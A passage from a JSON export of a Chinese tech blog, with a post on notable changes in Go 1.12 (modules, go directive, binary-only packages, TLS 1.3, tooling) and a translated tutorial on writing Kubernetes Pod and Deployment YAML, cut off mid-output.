href=\"https://tonybai.com/tag/docker\"\u003e“容器化”\u003c/a\u003e、\u003ca href=\"https://en.wikipedia.org/wiki/Microservices\"\u003e“微服务”\u003c/a\u003e、\u003ca href=\"https://tonybai.com/2018/01/03/an-intro-of-microservices-governance-by-istio/\"\u003e“服务网格”\u003c/a\u003e等概念大行其道的今天，一提到集群管理、容器工作负载调度，人们首先想到的是\u003ca href=\"https://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e。\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://kubernetes.io/\"\u003eKubernetes\u003c/a\u003e经过多年的发展，目前已经成为了云原生计算平台的事实标准，得到了诸如谷歌、微软、红帽、亚马逊、IBM、阿里等大厂的大力支持，各大云计算提供商也都提供了专属Kubernetes集群服务。开发人员可以\u003cstrong\u003e一键\u003c/strong\u003e在这些大厂的云上\u003ca href=\"https://tonybai.com/2017/05/15/setup-a-ha-kubernetes-cluster-based-on-kubeadm-part1/\"\u003e创建k8s集群\u003c/a\u003e。对于那些不愿被cloud provider绑定的组织或开发人员，Kubernetes也提供了诸如\u003ca href=\"https://tonybai.com/2017/05/15/setup-a-ha-kubernetes-cluster-based-on-kubeadm-part1/\"\u003eKubeadm\u003c/a\u003e这样的k8s集群引导工具，帮助大家在裸金属机器上\u003ca href=\"https://tonybai.com/2018/10/17/imooc-course-kubernetes-practice-go-online/\"\u003e搭建自己的k8s集群\u003c/a\u003e，当然这样做的门槛较高（如果您想学习自己搭建和管理k8s集群，可以参考我在\u003ca href=\"https://www.imooc.com/\"\u003e慕课网\u003c/a\u003e上发布的实战课\u003ca href=\"https://coding.imooc.com/class/284.html\"\u003e《高可用集群搭建、配置、运维与应用》\u003c/a\u003e）。\u003c/p\u003e\n\u003cp\u003eKubernetes的学习曲线是公认的较高，尤其是对于应用开发人员。再加上Kubernetes发展很快，越来越多的概念和功能加入到k8s技术栈，这让人们不得不考虑建立和维护这样一套集群所要付出的成本。人们也在考虑是否所有场景都需要部署一个k8s集群，是否有轻量级的且能满足自身需求的集群管理和微服务部署调度方案呢？外国朋友Matthias Endler就在其文章\u003ca href=\"https://matthias-endler.de/2019/maybe-you-dont-need-kubernetes/\"\u003e《也许你不需要Kubernetes》\u003c/a\u003e中给出一个轻量级的集群管理方案 – 使用\u003ca href=\"https://www.hashicorp.com/\"\u003ehashicorp\u003c/a\u003e开源的\u003ca href=\"https://github.com/hashicorp/nomad\"\u003enomad工具\u003c/a\u003e。\u003c/p\u003e","title":"使用nomad实现集群管理和微服务部署调度"},{"content":"Go team如期在2月末发布了Go 1.12版本。从Go 1.12的Release Notes粗略来看，这个版本相较于之前增加了go modules机制、WebAssembly支持的Go 1.11，变化略“小”。这也给下一个Go 1.13版本预留了足够的“惊喜”空间:)。从目前的plan来看，Go 1.13很可能落地的包括：Go2的几个proposals：Go 2 number literals, error values和signed shift counts等，以及优化版Escape Analysis等。\n言归正传，我们来看看Go 1.12版本中值得我们关注的几个变化。\n一. Go 1.12的可移植性 Go 1.12一如既往的保持了Go1兼容性规范，使用Go 1.12编译以往编写的遗留代码，理论上都可以编译通过并正常运行起来。这是很难得的，尤其是在”Go2″有关proposal逐步落地的“时间节点”，想必Go team为了保持Go1付出了不少额外的努力。\nGo语言具有超强的可移植性。在Go 1.12中，Go又增加了对aix/ppc64、windows/arm的支持，我们可以在运行于树莓派3的Windows 10 IoT Core上运行Go程序了。\n但是对于一些较老的平台系统，Go也不想背上较重的包袱。Go也在逐渐“放弃”一些老版本的系统，比如Go 1.12是最后一个支持macOS 10.10、FreeBSD 10.x的版本。在我的一台Mac 10.9.2的老机器上运行go 1.12将会得到下面错误：\n$./go version dyld: Symbol not found: _unlinkat Referenced from: /Users/tony/.bin/go1.12/bin/./go Expected in: flat namespace [1] 2403 trace trap ./go version 二. Go modules机制的优化 1. GO111MODULE=on时，获取go module不再显式需要go.mod 用过Go 1.11 go module机制的童鞋可能都遇到过这个问题，那就是在GO111MODULE=on的情况下(非GOPATH路径)，我要go get某个package时，如果compiler没有在适当位置找到go.mod，就会提示如下错误：\n//go 1.11.2 # go get github.com/bigwhite/gocmpp go: cannot find main module; see 'go help modules' 或 # go get github.com/bigwhite/gocmpp go: cannot determine module path for source directory /Users/tony/test/go (outside GOPATH, no import comments) 这显然非常不方便。为了go get 一个package，我还需要显式地创建一个go.mod文件。在Go 1.12版本中，这个问题被优化掉了。\n//go 1.12 # go get github.com/bigwhite/gocmpp go: finding github.com/bigwhite/gocmpp latest go: finding golang.org/x/text/encoding/unicode latest go: finding golang.org/x/text/transform latest go: finding golang.org/x/text/encoding/simplifiedchinese latest go: finding golang.org/x/text/encoding latest go: downloading golang.org/x/text v0.3.0 go: extracting golang.org/x/text v0.3.0 其他在go 1.11.x中对go.mod显式依赖的命令，诸如go list、go mod download也在Go 1.12版本中和go get一样不再显式依赖go.mod。\n并且在Go 1.12中go module的下载、解压操作支持并发进行，前提是go module的Cache路径：$GOPATH/pkg/mod必须在一个支持file locking的文件系统中。\n2. go.mod中增加go指示字段(go directive) go 1.12版本在go.mod文件中增加了一个go version的指示字段，用于指示该module内源码所使用的 go版本。使用go 1.12创建的go.mod类似下面这样：\n# go mod init github.com/bigwhite/test go: creating new go.mod: module github.com/bigwhite/test # cat go.mod module github.com/bigwhite/test go 1.12 按照release notes中的说法，如果go.mod中go指示器指示的版本高于你使用的go tool链版本，那么go也会尝试继续编译。如果编译成功了，那也是ok的。但是如果编译失败，那么会提示：module编译需要更新版本的go tool链。\n我们使用go 1.11.4版本go compiler编译下面的上面github.com/bigwhite/test module的代码：\n// main.go package main import ( \u0026quot;fmt\u0026quot; ) func main() { fmt.Println(\u0026quot;go world\u0026quot;) } # go build main.go # ./main go world 我们看到，虽然go tool chain版本是1.11.4，低于go.mod中的go 1.12，但go 1.11.4仍然尝试继续编译代码，并且顺利通过。\n如果我们将代码“故意”修改为下面这样：\n//main.go package main import ( \u0026quot;fmt\u0026quot; ) func main() { fmt.Printl(\u0026quot;go world\u0026quot;) // 这里我们故意将Println写成Printl } 再用go 1.11.4编译这段代码：\n# go build main.go # command-line-arguments ./main.go:8:2: undefined: fmt.Printl note: module requires Go 1.12 我们看到go 1.11.4 compiler提示“需要go 1.12″版本编译器。从这里我们看出，我们可以使用go指示器用作module最低version约束的标识。在没有go指示器时，我们只能在文档上显式增加这种约束的描述。\n不过，这里有一个小插曲，那就是这种不管go.mod中go版本号是多少，仍然尝试继续编译的机制仅适用于go 1.11.4以及后续高版本。从引入go module的go 1.11到go 1.11.3目前都还不支持这种机制，如果用go 1.11.3尝试编译以下上面的代码，会得到如下结果：\n# go build main.go go build command-line-arguments: module requires Go 1.12 go 1.11.3不会继续尝试编译，而是在对比当前go tool chain版本与go.mod中go指示器的version后，给出了错误的提示并退出。\n如果非要使用低于go 1.11.4版本的编译器去编译的话，我们可以使用go 1.12工具链的go mod edit -go命令来修改一下go.mod中的版本为go 1.11。然后再用go 1.11.4以下的版本去编译：\n# go mod edit -go=1.11 # cat go.mod module github.com/bigwhite/test go 1.11 # go build main.go //使用go 1.11.3编译器 这样，我们就可用go 1.11~go 1.11.3正常编译源码了。\n三. 对binary-only package的最后支持 我在2015的一篇文章 《理解Golang包导入》中提及到Go的编译对源码的依赖性。对于开源工程中的包，这完全不是问题。但是对于一些商业公司而言，源码是公司资产，是不能作为交付物提供给买方的。为此，Go team在Go 1.7中增加了对binary-only package的机制。\n所谓”binary-only package”就是允许开发人员发布不包含源码的二进制形式的package，并且可直接基于该二进制package进行编译。比如下面这个例子：\n// 创建二进制package # cat $GOPATH/src/github.com/bigwhite/foo.go package foo import \u0026quot;fmt\u0026quot; func HelloGo() { fmt.Println(\u0026quot;Hello,Go\u0026quot;) } # go build -o $GOPATH/pkg/linux_amd64/github.com/bigwhite/foo.a # ls $GOPATH/pkg/linux_amd64/github.com/bigwhite/foo.a /root/.go/pkg/linux_amd64/github.com/bigwhite/foo.a # mkdir temp # mv foo.go temp # touch foo.go # cat foo.go //go:binary-only-package package foo import \u0026quot;fmt\u0026quot; # cd $GOPATH # zip -r foo-binary.zip src/github.com/bigwhite/foo/foo.go pkg/linux_amd64/github.com/bigwhite/foo.a updating: pkg/linux_amd64/github.com/bigwhite/foo.a (deflated 42%) adding: src/github.com/bigwhite/foo/foo.go (deflated 11%) 我们将foo-binary.zip发布到目标机器上后，进行如下操作：\n# unzip foo-binary.zip -d $GOPATH/ Archive: foo-binary.zip inflating: /root/.go/pkg/linux_amd64/github.com/bigwhite/foo.a inflating: /root/.go/src/github.com/bigwhite/foo/foo.go 接下来，我们就基于二进制的foo.a来编译依赖它的包:\n//$GOPATH/src/bar.go package main import \u0026quot;github.com/bigwhite/foo\u0026quot; func main() { foo.HelloGo() } # go build -o bar bar.go # ./bar Hello,Go 但是经过几个版本的迭代，Go team发现：对binary-only package越来越难以提供安全支持，无法保证binary-only package的编译使用的是与最终链接时相同的依赖版本，这很可能会造成因内存问题而导致的崩溃。并且经过调查，似乎用binary-only package的gopher并不多，并且gopher可以使用plugin、shared library、c-shared library等来替代binary-only package，以避免源码分发。于是Go 1.12版本将成为支持binary-only package的最后版本。\n四. 运行时与标准库 经过Go 1.5~Go 1.10对运行时，尤其是GC的大幅优化和改善后，Go 1.11、Go 1.12对运行时的改善相比之下都是小幅度的。\n在Go 1.12中，一次GC后的内存分配延迟得以改善，这得益于在大量heap依然存在时清理性能的提升。运行时也会更加积极地将释放的内存归还给操作系统，以应对大块内存分配无法重用已存在的堆空间的问题。在linux上，运行时使用MADV_FREE释放未使用的内存，这更为高效，操作系统内核可以在需要时重用这些内存。\n在多CPU的机器上，运行时的timer和deadline代码运行性能更高了，这对于提升网络连接的deadline性能大有裨益。\n标准库最大的改变应该算是对TLS 1.3的支持了。不过默认不开启。Go 1.13中将成为默认开启功能。大多数涉及TLS的代码无需修改，使用Go 1.12重新编译后即可无缝支持TLS 1.3。\n另一个”有趣“的变化是syscall包增加了Syscall18，依据syscall包中函数名字惯例，Syscall18支持最多传入18个参数，这个函数的引入是为了Windows准备的。现在少有程序员会设计包含10多个参数的函数或方法了，这估计也是为了满足Windows中“遗留代码”的需求。\n五. 工具链及其他 1. go安装包中移除go tour go tour被从go的安装包中移除了，Go的安装包从go 1.4.x开始到go 1.11.x变得日益“庞大”：以linux/amd64的tar.gz包为例，变化趋势如下：\ngo 1.4.3: 53MB go 1.5.4: 76MB go 1.6.4: 83MB go 1.7.6: 80MB go 1.8.7: 96MB go 1.9.7: 113MB go 1.10.8: 97MB go 1.11.5: 134MB go 1.12: 121MB 后续预计会有更多的非核心功能将会从go安装包中移除来对Go安装包进行瘦身，即便不能瘦身，也至少要保持在现有的size水平上。\n本次go tour被挪到：golang.org/x/tour中了，gopher们可单独安装tour：\n# go get -u golang.org/x/tour # tour //启动tour Go 1.12也是godoc作为web server被内置在Go安装包的最后一个版本，在Go 1.13中该工具也会被从安装包中剔除，如有需要，可像go tour一样通过go get来单独安装。\n2. Build cache成为必需 build cache在Go 1.10被引入以加快Go包编译构建速度，但是在Go 1.10和Go 1.11中都可以使用GOCACHE=off关闭build cache机制。但是在Go 1.12中build cache成为必需。如果设置GOCACHE=off，那么编译器将报错：\n# GOCACHE=off go build github.com/bigwhite/gocmpp build cache is disabled by GOCACHE=off, but required as of Go 1.12 3. Go compiler支持-lang flag Go compiler支持-lang flag，可以指示编译过程使用哪个版本的Go语法（注意不包括标准库变化等，仅限于语言自身语法）。比如：\n//main.go package main import \u0026quot;fmt\u0026quot; type Int = int func main() { var a Int = 5 fmt.Println(a) } # go run main.go 5 上面是一个使用了Go 1.9才引入的type alias语法的Go代码，我们使用Go 1.12可以正常编译运行它。但是如果我使用-lang flag，指定使用go1.8语法编译该代码，我们会得到如下错误提示：\n# go build -gcflags \u0026quot;-lang=go1.8\u0026quot; main.go # command-line-arguments ./main.go:5:6: type aliases only supported as of -lang=go1.9 换成-lang=go1.9就会得到正确结果：\n# go build -gcflags \u0026quot;-lang=go1.9\u0026quot; main.go # ./main 5 我的网课“Kubernetes实战：高可用集群搭建、配置、运维与应用”在慕课网上线了，感谢小伙伴们学习支持！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/\nsmspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\n我的联系方式：\n微博：https://weibo.com/bigwhite20xx\n微信公众号：iamtonybai\n博客：tonybai.com\ngithub: https://github.com/bigwhite\n微信赞赏：\n商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2019/03/02/some-changes-in-go-1-12/","summary":"\u003cp\u003eGo team如期在2月末\u003ca href=\"https://tip.golang.org/doc/go1.12\"\u003e发布了Go 1.12\u003c/a\u003e版本。从Go 1.12的\u003ca href=\"https://golang.org/doc/go1.12\"\u003eRelease Notes\u003c/a\u003e粗略来看，这个版本相较于之前增加了\u003ca href=\"https://tonybai.com/2018/07/15/hello-go-module/\"\u003ego modules机制\u003c/a\u003e、\u003ca href=\"https://github.com/golang/go/wiki/WebAssembly\"\u003eWebAssembly支持\u003c/a\u003e的\u003ca href=\"https://tonybai.com/2018/11/19/some-changes-in-go-1-11/\"\u003eGo 1.11\u003c/a\u003e，变化略“小”。这也给下一个\u003ca href=\"https://github.com/golang/go/milestone/83\"\u003eGo 1.13\u003c/a\u003e版本预留了足够的“惊喜”空间:)。从目前的plan来看，Go 1.13很可能落地的包括：Go2的几个proposals：\u003ca href=\"https://github.com/golang/proposal/blob/master/design/19308-number-literals.md\"\u003eGo 2 number literals\u003c/a\u003e, \u003ca href=\"https://github.com/golang/proposal/blob/master/design/29934-error-values.md\"\u003eerror values\u003c/a\u003e和\u003ca href=\"https://github.com/golang/proposal/blob/master/design/19113-signed-shift-counts.md\"\u003esigned shift counts\u003c/a\u003e等，以及\u003ca href=\"https://github.com/golang/go/issues/23109\"\u003e优化版Escape Analysis\u003c/a\u003e等。\u003c/p\u003e","title":"Go 1.12中值得关注的几个变化"},{"content":"YAML语言似乎已经成为了事实标准的“云配置”语言，无论是容器事实标准docker(主要是docker-compose使用)、SDN，还是容器编排王者kubernetes，又或是虚拟机时代的王者openstack采用的配置文件都是yaml文件格式。不过需要承认的是我个人最初刚接触yaml时还不是很适应（个人更适应json），在后续运维kubernetes时，每每都要去参考k8s doc中的各种k8s对象的模板才能把yaml文件写“正确”。本文是一篇译文，这篇文章很好地讲解了yaml语言的语法格式，并用kubernetes deployment配置来作为示例。至少我看完这篇文章后是受益多多，因此这里将该文章快速翻译出来，供广大的k8s爱好者、实践者参考。\n本文翻译自《Introduction to YAML: Creating a Kubernetes deployment》。（译注：CNCF也转发了Openstack开发背后的主力推手Mirantis公司博客的这篇文章。)\n在之前的文章中，我们一直在讨论如何使用Kubernetes来启动和操作资源实例。到目前为止，我们一直都专注于命令行操作。但其实有一种更简单，更有用的方法：使用YAML创建配置文件。在本文中，我们将了解YAML的工作原理，并使用它来先定义一个Kubernetes Pod，然后再定义一个Kubernetes Deployment。\nYAML基础 如果您正在做与一些软件领域相关的事情 – 尤其是涉及Kubernetes，SDN和OpenStack等领域，那么你将很难“摆脱”YAML 。YAML是一种人类可读的、专门用于配置信息的文本格式，例如，在本文中，我们将使用YAML定义创建第一个Pod，然后是Deployment。YAML可以理解为Yet Another Markup Language的缩写，也可以理解为”YAML Ain’t Markup Language”的缩写，这取决于你问的是谁。\n使用YAML进行K8s定义会带来许多优势，包括：\n方便：您不再需要将所有参数都添加到命令行中 可维护： YAML文件可以添加到源代码版本控制仓库中，因此你可以跟踪文件的修改 灵活性：通过YAML，您能够创建比在命令行上更为复杂的结构 YAML是JSON的超集，这意味着任何有效的JSON文件也是有效的YAML文件。所以一方面，如果你知道JSON并且你只想写自己的YAML（而不是阅读其他人的那些），那么你就完全可以开始了。另一方面，不幸的是，这不太可能。即使你只是想在网上找些例子，他们更有可能是YAML格式（非JSON），所以我们不妨来习惯这种格式。尽管如此，在某些情况下JSON格式可能更为方便，因此最好知道JSON仍然可供您使用。\n幸运的是，在YAML中你只需要了解两种类型的结构：\nLists(列表) Maps 没错！你可能会用maps of lists和lists of maps，等等，但是一旦你掌握了这两个结构，那么你就可以开始了。这并不是说你不能做更复杂的事情，但总的来说，这就是你开始时需要的全部内容了。\nYAML Maps 让我们先来看看YAML maps。maps允许您关联键值对(name-value pairs)，在尝试设置配置信息时，这非常方便。例如，您可能有一个如下所示的配置文件：\n--- apiVersion: v1 kind: Pod 第一行是分隔符，除非您尝试在单个文件中定义多个结构，否则它是可选的。在那之后，如您所见，我们有两个值：v1 和Pod ，映射到两个键：apiVersion 和kind 。\n当然，这种事情非常简单，它等价于下面的JSON内容：\n{ \u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;kind\u0026quot;: \u0026quot;Pod\u0026quot; } 请注意，在我们的YAML版本中，引号是可选的; 处理程序可以告诉您正在查看基于这种格式的一个字符串。\n您还可以通过创建一个映射到另一个map而不是字符串的键来指定更为复杂的结构，如下所示：\n--- apiVersion: v1 kind: Pod metadata: name: rss-site labels: app: web 在这种情况下，我们有一个键: metadata，其值为一个带有2个键：name和labels的map。该labels键本身有一个map作为其值。您可以根据需要嵌套这些。\nYAML处理程序之所以知道所有这些部分是如何相互关联的，是因为我们做了行缩进。在这个例子中，我使用了2个空格以便于阅读，但空格的数量并不重要 – 只要它至少为1，并且只要你的缩进是一致的。例如，name和labels处于相同的缩进级别，因此处理程序知道它们都是同一个map的一部分; 它知道app 是labels的值，因为它进一步缩进了。\n**注意：永远不要在YAML文件中使用tab **\n因此，如果我们将其转换为JSON，它将是如下所示这样的：\n{ \u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;kind\u0026quot;: \u0026quot;Pod\u0026quot;, \u0026quot;metadata\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;rss-site\u0026quot;, \u0026quot;labels\u0026quot;: { \u0026quot;app\u0026quot;: \u0026quot;web\u0026quot; } } } 现在我们来看list类型。\nYAML Lists YAML lists实际上是一个对象序列。例如：\nargs: - sleep - \u0026quot;1000\u0026quot; - message - \u0026quot;Bring back Firefly!\u0026quot; 正如您在此处所看到的，您可以在list中包含几乎任意数量的元素，这些元素为以短划线（ – ）开始并相对于父项缩进一级。所以如果用JSON展示，将是这样：\n{ \u0026quot;args\u0026quot;: [\u0026quot;sleep\u0026quot;, \u0026quot;1000\u0026quot;, \u0026quot;message\u0026quot;, \u0026quot;Bring back Firefly!\u0026quot;] } 当然，list中的元素也可以是maps：\n--- apiVersion: v1 kind: Pod metadata: name: rss-site labels: app: web spec: containers: - name: front-end image: nginx ports: - containerPort: 80 - name: rss-reader image: nickchase/rss-php-nginx:v1 ports: - containerPort: 88 正如您在这里看到的，我们有一个container“对象” 列表，每个container都包含一个name，一个image和一个port列表。ports下的每个列表项本身都是一个containerPort及其值的map。\n为了完整起见，让我们快速查看等效的JSON：\n{ \u0026quot;apiVersion\u0026quot;: \u0026quot;v1\u0026quot;, \u0026quot;kind\u0026quot;: \u0026quot;Pod\u0026quot;, \u0026quot;metadata\u0026quot;: { \u0026quot;name\u0026quot;: \u0026quot;rss-site\u0026quot;, \u0026quot;labels\u0026quot;: { \u0026quot;app\u0026quot;: \u0026quot;web\u0026quot; } }, \u0026quot;spec\u0026quot;: { \u0026quot;containers\u0026quot;: [{ \u0026quot;name\u0026quot;: \u0026quot;front-end\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;nginx\u0026quot;, \u0026quot;ports\u0026quot;: [{ \u0026quot;containerPort\u0026quot;: \u0026quot;80\u0026quot; }] }, { \u0026quot;name\u0026quot;: \u0026quot;rss-reader\u0026quot;, \u0026quot;image\u0026quot;: \u0026quot;nickchase/rss-php-nginx:v1\u0026quot;, \u0026quot;ports\u0026quot;: [{ \u0026quot;containerPort\u0026quot;: \u0026quot;88\u0026quot; }] }] } } 正如你所看到的，我们的例子开始变得更为复杂了，不过我们还没有遇到特别复杂的例子！难怪YAML如此快地取代JSON。\n所以让我们回顾一下。我们了解了：\nmaps，它们是键值对的组 lists，它们包含独立的元素(成员) maps of maps maps of lists lists of lists lists of maps 基本上，无论你想要组合什么结构，你都可以用这两种结构来做。\n使用YAML创建Pod 好了，现在我们已经掌握了基础知识，让我们看看如何使用它。我们将首先使用YAML创建Pod，然后再创建Deployment。\n如果您尚未安装Kubernetes集群和kubectl，请在继续之前查看本系列中有关搭建Kubernetes的集群的文章。没关系，我们等一下……\n回来了吗？好！让我们从Pod开始吧。\n创建pod文件 在前面的示例中，我们使用YAML描述了一个简单的Pod：\n— apiVersion: v1 kind: Pod metadata: name: rss-site labels: app: web spec: containers: – name: front-end image: nginx ports: – containerPort: 80 – name: rss-reader image: nickchase/rss-php-nginx:v1 ports: – containerPort: 88 我们一行行分开看，我们从API版本开始; 这里只是v1。（当我们讲解Deployment时，我们必须指定不同的版本，因为v1中不存在Deployment。）\n接下来，我们指定要创建Pod; 这里我们可能会指定deployment，job，service等其他类型，具体取决于我们要实现什么。\n接下来我们指定metadata。这里我们指定Pod的name，以及我们用来识别Kubernetes pod的label。\n最后，我们将指定构成pod的实际对象。该规范(spec)的属性包括容器，存储卷，或其他Kubernetes需要了解的属性，比如：重新在启动容器失败时重启的选项。您可以在Kubernetes API规范中找到Kubernetes Pod属性的完整列表。让我们仔细看看典型的容器定义：\n... spec: containers: - name: front-end image: nginx ports: - containerPort: 80 - name: rss-reader ... 在这种情况下，我们有一个简单、短小的定义：name（前端），它所基于容器镜像（nginx ），以及容器将在内部监听的一个端口（80 ）。在这些中，实际上只是name是必须的，但一般来说，如果你想要它做任何有用的事情，你需要更多的信息。\n您还可以指定更复杂的属性，例如在容器启动时运行的命令，使用的参数，工作目录，或者每次实例化容器时是否拉取镜像的新副本等。您还可以指定一些更深入的信息，例如容器退出日志的存放位置。以下是您可以为Container设置的属性：\nname image command args workingDir ports env resources volumeMounts livenessProbe readinessProbe lifecycle terminationMessagePath imagePullPolicy securityContext stdin stdinOnce tty 现在让我们继续并实际创建pod。\n使用YAML文件创建Pod 当然，第一步是创建一个文本文件。将其命名为pod.yaml 并添加以下文本，就像我们之前指定的那样：\n--- apiVersion: v1 kind: Pod metadata: name: rss-site labels: app: web spec: containers: - name: front-end image: nginx ports: - containerPort: 80 - name: rss-reader image: nickchase/rss-php-nginx:v1 ports: - containerPort: 88 保存文件。接下来告诉Kubernetes创建pod：\n\u0026gt; kubectl create -f pod.yaml pod \u0026quot;rss-site\u0026quot; created 如您所见，K8引用了我们Pod的名称。如果你要求一个pod列表，你可以看到下面内容：\n\u0026gt; kubectl get pods NAME READY STATUS RESTARTS AGE rss-site 0/2 ContainerCreating 0 6s 如果您提前检查，您可以看到仍在创建中的pod。几秒钟后，您应该看到容器正在运行：\n\u0026gt; kubectl get pods NAME READY STATUS RESTARTS AGE rss-site 2/2 Running 0 14s 从这里开始，您可以测试Pod（就像我们在上一篇文章中所做的那样），但最终我们想要创建一个Deployment，所以让我们继续并删除它，这样就没有任何名称冲突：\n\u0026gt; kubectl delete pod rss-site pod \u0026quot;rss-site\u0026quot; deleted Pod创建故障诊断 当然，有时事情并没有像你期望的那样发展。也许您遇到了网络问题，或者您在YAML文件中输入了错误的内容。您可能会看到如下错误：\n\u0026gt; kubectl get pods NAME READY STATUS RESTARTS AGE rss-site 1/2 ErrImagePull 0 9s 在这种情况下，我们可以看到我们的一个容器启动得很好，但是另一个容器出了问题。要追查问题，我们可以向Kubernetes询问有关Pod的更多信息：\n\u0026gt; kubectl describe pod rss-site Name: rss-site Namespace: default Node: 10.0.10.7/10.0.10.7 Start Time: Sun, 08 Jan 2017 08:36:47 +0000 Labels: app=web Status: Pending IP: 10.200.18.2 Controllers: \u0026lt;none\u0026gt; Containers: front-end: Container ID: docker://a42edaa6dfbfdf161f3df5bc6af05e740b97fd9ac3d35317a6dcda77b0310759 Image: nginx Image ID: docker://sha256:01f818af747d88b4ebca7cdabd0c581e406e0e790be72678d257735fad84a15f Port: 80/TCP State: Running Started: Sun, 08 Jan 2017 08:36:49 +0000 Ready: True Restart Count: 0 Environment Variables: \u0026lt;none\u0026gt; rss-reader: Container ID: Image: nickchase/rss-php-nginx Image ID: Port: 88/TCP State: Waiting Reason: ErrImagePull Ready: False Restart Count: 0 Environment Variables: \u0026lt;none\u0026gt; Conditions: Type Status Initialized True Ready False PodScheduled True No volumes. QoS Tier: BestEffort Events: FirstSeen LastSeen Count From SubobjectPath Type Reason Message --------- -------- ----- ---- ------------- -------- ------ ------- 45s 45s 1 {default-scheduler } Normal Scheduled Successfully assigned rss-site to 10.0.10.7 44s 44s 1 {kubelet 10.0.10.7} spec.containers{front-end} Normal Pulling pulling image \u0026quot;nginx\u0026quot; 45s 43s 2 {kubelet 10.0.10.7} Warning MissingClusterDNS kubelet does not have ClusterDNS IP configured and cannot create Pod using \u0026quot;ClusterFirst\u0026quot; policy. Falling back to DNSDefault policy. 43s 43s 1 {kubelet 10.0.10.7} spec.containers{front-end} Normal Pulled Successfully pulled image \u0026quot;nginx\u0026quot; 43s 43s 1 {kubelet 10.0.10.7} spec.containers{front-end} Normal Created Created container with docker id a42edaa6dfbf 43s 43s 1 {kubelet 10.0.10.7} spec.containers{front-end} Normal Started Started container with docker id a42edaa6dfbf 43s 29s 2 {kubelet 10.0.10.7} spec.containers{rss-reader} Normal Pulling pulling image \u0026quot;nickchase/rss-php-nginx\u0026quot; 42s 26s 2 {kubelet 10.0.10.7} spec.containers{rss-reader} Warning Failed Failed to pull image \u0026quot;nickchase/rss-php-nginx\u0026quot;: Tag latest not found in repository docker.io/nickchase/rss-php-nginx 42s 26s 2 {kubelet 10.0.10.7} Warning FailedSync Error syncing pod, skipping: failed to \u0026quot;StartContainer\u0026quot; for \u0026quot;rss-reader\u0026quot; with ErrImagePull: \u0026quot;Tag latest not found in repository docker.io/nickchase/rss-php-nginx\u0026quot; 41s 12s 2 {kubelet 10.0.10.7} spec.containers{rss-reader} Normal BackOff Back-off pulling image \u0026quot;nickchase/rss-php-nginx\u0026quot; 41s 12s 2 {kubelet 10.0.10.7} Warning FailedSync Error syncing pod, skipping: failed to \u0026quot;StartContainer\u0026quot; for \u0026quot;rss-reader\u0026quot; with ImagePullBackOff: \u0026quot;Back-off pulling image \\\u0026quot;nickchase/rss-php-nginx\\\u0026quot;\u0026quot; 正如您所看到的，这里有很多信息，但我们对事件(event)最感兴趣- 特别是一旦警告和错误开始出现。从这里我能够很快发现我忘了将”:v1″ label添加到我的image中，所以它正在寻找”:latest”标签，但该标签并不存在。\n为了解决这个问题，我首先删除了Pod，然后修复了YAML文件并重新启动。相反，我可以修复镜像仓库（译注：比如增加:latest标签)，以便Kubernetes可以找到它正在寻找的东西，并且它会继续，好像什么也没发生过一样。\n现在我们已经成功运行起来一个Pod，接下来让我们看看为deployment做得同样的事情。\n使用YAML创建Deployment 最后，我们要创建一个实际的deployment。然而，在我们这样做之前，很值得去了解一下我们实际上在做什么。\n记住，K8管理基于容器的资源。在使用deployment的情况下，您将创建一组要管理的资源。例如，我们在上一个示例中创建了Pod的单个实例，我们可能会创建一个Deployment来告诉Kubernetes管理该Pod的一组副本 – 字面意思就是ReplicaSet – 以确保它们中的一定数量是始终可用。所以我们可以像这样开始我们的deployment定义：\n--- apiVersion: extensions/v1beta1 kind: Deployment metadata: name: rss-site spec: replicas: 2 在这里，我们将apiVersion指定为”extensions/v1beta1″ – 记住，我们想要一个deployment, 但deployment不像pod那样在v1中。接下来我们指定name。我们还可以指定我们想要的任何其他元数据，但现在让我们保持简单。\n最后，我们进入规范(spec)。在Pod规范中，我们提供了有关实际进入Pod的内容的信息; 我们将在这里使用deployment做同样的事情。在这种情况下，我们先描述我们要部署什么Pod，我们总是希望有 2个副本。当然，您可以根据需要设置此数字，并且还可以设置其他属性，例如定义受此部署影响的Pod的selector，或者在被认为“ready”之前，pod必须启动且没有任何错误的最小秒数。您可以在Kuberenetes v1beta1 API参考中找到Deployment规范属性的完整列表。\n好的，现在我们知道我们需要2个副本，我们需要回答这个问题：“什么的副本？”它们由模板定义：\n--- apiVersion: extensions/v1beta1 kind: Deployment metadata: name: rss-site spec: replicas: 2 template: metadata: labels: app: web spec: containers: - name: front-end image: nginx ports: - containerPort: 80 - name: rss-reader image: nickchase/rss-php-nginx:v1 ports: - containerPort: 88 看起来熟悉？就应该是这样; 它与上一节中的Pod定义几乎完全相同，而且就是这样设计的。模板只是要复制的对象的定义 – 在其他情况下，可以通过自己创建的对象。\n现在让我们继续创建deployment。将YAML添加到名为deployment.yaml 的文件中，并让Kubernetes创建它：\n\u0026gt; kubectl create -f deployment.yaml deployment \u0026quot;rss-site\u0026quot; created 要了解它是如何做的，我们可以检查deployment列表：\n\u0026gt; kubectl get deployments NAME DESIRED CURRENT UP-TO-DATE AVAILABLE AGE rss-site 2 2 2 1 7s 正如您所看到的，Kubernetes已经启动了两个副本，但只有一个可用。您可以像以前一样通过描述deployment来检查事件日志：\n\u0026gt; kubectl describe deployment rss-site Name: rss-site Namespace: default CreationTimestamp: Mon, 09 Jan 2017 17:42:14 +0000= Labels: app=web Selector: app=web Replicas: 2 updated | 2 total | 1 available | 1 unavailable StrategyType: RollingUpdate MinReadySeconds: 0 RollingUpdateStrategy: 1 max unavailable, 1 max surge OldReplicaSets: \u0026lt;none\u0026gt; NewReplicaSet: rss-site-4056856218 (2/2 replicas created) Events: FirstSeen 